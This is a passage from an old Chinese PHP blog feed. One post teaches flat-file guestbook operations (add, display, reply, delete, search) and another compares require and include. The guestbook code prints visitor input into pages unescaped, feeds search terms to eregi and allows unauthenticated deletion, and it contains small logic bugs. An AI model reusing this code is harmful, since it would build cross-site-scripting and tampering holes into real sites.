我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。
此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 
1、加入数据程序段。 
$date=date(&#8220;Y-m-d H:i:s&#8221;);//取得系统时间
$ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址
$text=encode($gb_text);//去掉留言内容后面的空格.
$fp=fopen(&#8220;gb.dat&#8221;,&#8221;a&#8221;);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.
$str=$ip.&#8221;　&#8221;.$date.&#8221;　&#8221;.$gb_name.&#8221;　&#8221;.$gb_email.&#8221;　&#8221;.$gb_home.&#8221;　&#8221;.$face.&#8221;　&#8221;.$gb_qq.&#8221;　&#8221;.$head.&#8221;　&#8221;.$text.&#8221;　&#8221;.$reply.&#8221;\n&#8221;;//将所有留言的数据赋予变量$str，&#8221;　&#8221;的目的是用来今后作数据分割时的数据间隔符号。
fwrite($fp,$str);//将数据写入文件
fclose($fp);//关闭文件
showmessage(&#8220;留言成功!&#8221;,&#8221;index.php&#8221;,&#8221;3&#8243;);//留言成功，3秒后自动返回主界面。
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。

2、数据显示程序段 
＜?
if (file_exists(&#8220;gb.dat&#8221;)){//检测文件是否存在
$array=file(&#8220;gb.dat&#8221;);//将文件全部内容读入到数组$array
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。
$num=count($array);//获取数组$array里的信息数(一行为一条信息)
if ($num＞0){//如果信息数大于零（即文本数据库不为空）
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)
if($page＜1){//如果当前页面数码号小于1
$page=1;//则赋值为1
}
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）
for($i=0;$i＜=$pagesize-1;$i++){//进入循环
$row=explode(&#8220;　&#8221;,$arr[$number]);//以&#8221;　&#8221;作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量
?＞
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片
＜br＞
＜font color=&#8221;#0099CC&#8221;＞昵称【＜? echo $name ?＞＜font size=&#8221;2&#8243;＞】＜br＞//显示客户名
发表于：＜? echo $datetime ?＞//显示留言发表时间
＜br＞
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容
＜br＞
＜? echo $reply ?＞//显示回复内容
＜br＞ 
＜a href=&#8221;＜? echo $home ?＞&#8221; target=&#8221;_blank&#8221;＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接
＜a href=&#8221;mailto:＜? echo $email ?＞&#8221;＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接
＜? echo $name [...]]]></description>
			<content:encoded><![CDATA[<p>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法<br />
我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。<br />
此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 </p>
<p>1、加入数据程序段。 </p>
<p>$date=date(&#8220;Y-m-d H:i:s&#8221;);//取得系统时间<br />
$ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址<br />
$text=encode($gb_text);//去掉留言内容后面的空格.<br />
$fp=fopen(&#8220;gb.dat&#8221;,&#8221;a&#8221;);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.<br />
$str=$ip.&#8221;　&#8221;.$date.&#8221;　&#8221;.$gb_name.&#8221;　&#8221;.$gb_email.&#8221;　&#8221;.$gb_home.&#8221;　&#8221;.$face.&#8221;　&#8221;.$gb_qq.&#8221;　&#8221;.$head.&#8221;　&#8221;.$text.&#8221;　&#8221;.$reply.&#8221;\n&#8221;;//将所有留言的数据赋予变量$str，&#8221;　&#8221;的目的是用来今后作数据分割时的数据间隔符号。<br />
fwrite($fp,$str);//将数据写入文件<br />
fclose($fp);//关闭文件<br />
showmessage(&#8220;留言成功!&#8221;,&#8221;index.php&#8221;,&#8221;3&#8243;);//留言成功，3秒后自动返回主界面。<br />
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。<br />
<span id="more-490"></span><br />
2、数据显示程序段 </p>
<p>＜?<br />
if (file_exists(&#8220;gb.dat&#8221;)){//检测文件是否存在<br />
$array=file(&#8220;gb.dat&#8221;);//将文件全部内容读入到数组$array<br />
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。<br />
$num=count($array);//获取数组$array里的信息数(一行为一条信息)<br />
if ($num＞0){//如果信息数大于零（即文本数据库不为空）<br />
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)<br />
if($page＜1){//如果当前页面数码号小于1<br />
$page=1;//则赋值为1<br />
}<br />
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）<br />
for($i=0;$i＜=$pagesize-1;$i++){//进入循环<br />
$row=explode(&#8220;　&#8221;,$arr[$number]);//以&#8221;　&#8221;作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=&#8221;#0099CC&#8221;＞昵称【＜? echo $name ?＞＜font size=&#8221;2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞ </p>
<p>＜a href=&#8221;＜? echo $home ?＞&#8221; target=&#8221;_blank&#8221;＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=&#8221;mailto:＜? echo $email ?＞&#8221;＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞&#8221; //显示客户的IP地址<br />
＜a href=&#8221;reply.php?time=＜? echo $datetime ?＞&#8221;＞回复＜/a＞//留言回复的连接语句<br />
＜a href=&#8221;del.php?time=＜? echo $datetime ?＞&#8221;＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
if ($number == $num-1)//如果数组的单元号等于总留言数减一（因为单元号以零开始的，所以这意味着这是最后一条留言）<br />
{<br />
break;//跳出循环<br />
}<br />
$number = $number + 1; //数组单元号加1<br />
}//循环结束符<br />
}<br />
if ($page ＜＞ 1)//如果当前页面数码号不等于1<br />
{<br />
$back = $page &#8211; 1;//当前页面数码号减1，并将此值赋予变量$back<br />
echo &#8220;＜a href=index.php?page=1＞第一页＜/a＞&#8221;;//显示第一页的连接<br />
echo &#8221; ＜a href=index.php?page=$back＞上一页＜/a＞&#8221; ;当前页面数码号等于$back，并显示其连接<br />
}<br />
if ($page ＜＞ $total)//如果当前页面数码号不等于总页数号（最后一页数码号）<br />
{<br />
$next = $page + 1;//当前页面数码号加1并赋予变量$next<br />
echo &#8221; ＜a href=index.php?page=$next＞下一页＜/a＞&#8221; ;//显示下一页连接<br />
echo &#8221; ＜a href=index.php?page=$total＞最后一页＜/a＞&#8221;; 显示最后一页连接<br />
}<br />
echo &#8220;页数：$page / $total&#8221;;//显示当前页面数码号和显示最后一页数码号<br />
echo &#8220;共有 $num 条留言&#8221;;//显示留言数信息<br />
}<br />
else {<br />
echo &#8220;＜center＞当前没有任何留言！＜/center＞&#8221;;//如果文件内容为空则显示的信息<br />
}<br />
else {<br />
echo &#8220;＜center＞数据文件丢失，请联系管理员！或发布留言重新建立数据文件！＜/center＞&#8221;;//如果文件不存在显示的信息<br />
} </p>
<p>3、数据修改程序段 </p>
<p>$list=file(&#8220;gb.dat&#8221;);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){ //如果留言数大于0 </p>
<p>$fp=fopen(&#8220;gb.dat&#8221;,&#8221;w&#8221;);//则以只写模式打开文件gb.dat<br />
$gb_reply=encode($gb_reply);<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将送来发留言时间$ttime与数组单元$list里内容进行字串匹配比较<br />
$f=explode(&#8220;　&#8221;,$list[$i]);//如果找到匹配，就以&#8221;　&#8221;作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$f<br />
$f[9]=$gb_reply;//将$f[9]（留言信息最后一条数据）用$gb_reply（回复内容）代替。<br />
$list[$i]=$f[0].&#8221;　&#8221;.$f[1].&#8221;　&#8221;.$f[2].&#8221;　&#8221;.$f[3].&#8221;　&#8221;.$f[4].&#8221;　&#8221;.$f[5].&#8221;　&#8221;.$f[6].&#8221;　&#8221;.$f[7].&#8221;　&#8221;.$f[8].&#8221;　&#8221;.$f[9].&#8221;\n&#8221;; //将数组单元$list[$i]的内容用数组$f加上分隔符&#8221;　&#8221;代替（其中$f[9]是修改了的新数据）。<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
}<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
}//循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(&#8220;回复成功!&#8221;,&#8221;index.php&#8221;);//回复成功，自动返回主界面。 </p>
<p>4、数据删除程序段 </p>
<p>$list=file(&#8220;gb.dat&#8221;);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){//如果留言数大于0<br />
$fp=fopen(&#8220;gb.dat&#8221;,&#8221;w&#8221;);//则以只写模式打开文件gb.dat<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将发送过来发留言时间$ttime与数组$list[$i]里的字串进行匹配比较<br />
$list[$i]=&#8221;";//如果匹配成功，则将$list[$i]清空（达到删除的目的）<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
} //循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(&#8220;删除成功!&#8221;,&#8221;index.php&#8221;);//删除成功，自动返回主界面。<br />
} </p>
<p>5、数据查询程序段 </p>
<p>＜form action=&#8221;search.php&#8221; method=&#8221;post&#8221;＞<br />
＜font color=&#8221;#0099CC&#8221; size=&#8221;2&#8243;＞搜索关键字：<br />
＜input name=&#8221;found&#8221; type=&#8221;text&#8221; id=&#8221;found&#8221; style=&#8221;background-color:#FFFFFF; color:#8888AA; border: 1 double #3399CC&#8221; size=&#8221;12&#8243;＞<br />
＜input name=&#8221;submit&#8221; type=&#8221;image&#8221; src=&#8221;image/search.gif&#8221; alt=&#8221;留言搜索&#8221;＞<br />
＜/font＞＜/td＞ </p>
<p>＜/tr＞<br />
＜/table＞<br />
＜/form＞<br />
////////////////////////////////上面是搜索表单语句段<br />
＜?<br />
$id=0;<br />
$list=file(&#8220;gb.dat&#8221;);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
$found=trim($found);<br />
if (!$found){ //如果$found为假<br />
echo &#8220;＜center＞您没有输入任何关键字！＜/center＞&#8221;;//作相关显示<br />
}<br />
else {<br />
if($n＞0){//如果留言数大于0<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($found,$list[$i])){//输入的关键字与数组$list[$i]里的字串进行匹配比较<br />
$row=explode(&#8220;　&#8221;,$list[$i]); $id=1; //如果找到匹配，就以&#8221;　&#8221;作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$row.并将变量$id赋予1，以便作为是否找到匹配的判断。<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=&#8221;#0099CC&#8221;＞昵称【＜? echo $name ?＞＜font size=&#8221;2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞<br />
＜a href=&#8221;＜? echo $home ?＞&#8221; target=&#8221;_blank&#8221;＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=&#8221;mailto:＜? echo $email ?＞&#8221;＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞&#8221; //显示客户的IP地址<br />
＜a href=&#8221;reply.php?time=＜? echo $datetime ?＞&#8221;＞回复＜/a＞//留言回复的连接语句<br />
＜a href=&#8221;del.php?time=＜? echo $datetime ?＞&#8221;＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
}<br />
}//循环结束符<br />
}}<br />
if($id==0){ echo &#8220;＜center＞没有找到与关键字匹配的留言！＜/center＞&#8221;;}//如果$id＝0则表示没找到匹配，显示相关提示<br />
?＞ </p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误 (2010年07月26日)">使用Ajax时的十个常犯的错误</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>require和include的异同</title>
		<link>http://www.5bay.cn/network-programming/requireeecludexi.html</link>
		<comments>http://www.5bay.cn/network-programming/requireeecludexi.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:55:41 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=488</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/requireeecludexi.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。
就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。
第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：
&#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62;
比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）
同时可以看下require_once和include_once的区别。
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。
第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。
就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。
第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：
&#60;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&#62;
比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）
同时可以看下require_once和include_once的区别。
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。
相关博文2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年05月23日 [...]]]></description>
			<content:encoded><![CDATA[<p>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
<p>第一点：require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在丢失文件时停止处理页面，那就用require() 吧，它直接会中止脚本。而include() 就不是这样，脚本会继续运行，但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。</p>
<p>就是说再解析程序时即读取require的文件，而不是解析后，如果不能读取到被require的文件，就不能进行下一步动作。所以，不被正确包含就会导致程序的文件，用require比较好。</p>
<p>第二点：require() 无论如何都会包含文件，而 include() 可以有选择地包含：<br />
&lt;!&#8211;p  if(FALSE){  require(&#8216;a.php&#8217;);  }  if(FALSE){  include(&#8216;b.php&#8217;);  } &#8211;&gt;</p>
<p>比如上面这段代码，a.php一定会被包含，而b.php一定不会被包含。require类似于一次预扫描，在程序执行时，无论在函数里或是函数外，都将先把require的文件执行，且只执行一次。而include则是每执行一次就调用一次文件，即这次执行后，下次再执行执行到这里，仍将再执行一次。大家应该明白这个区别了吧：）</p>
<p>同时可以看下require_once和include_once的区别。<br />
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。<br />
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。如同此语句名字暗示的那样，只会包括一次。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li></ul>
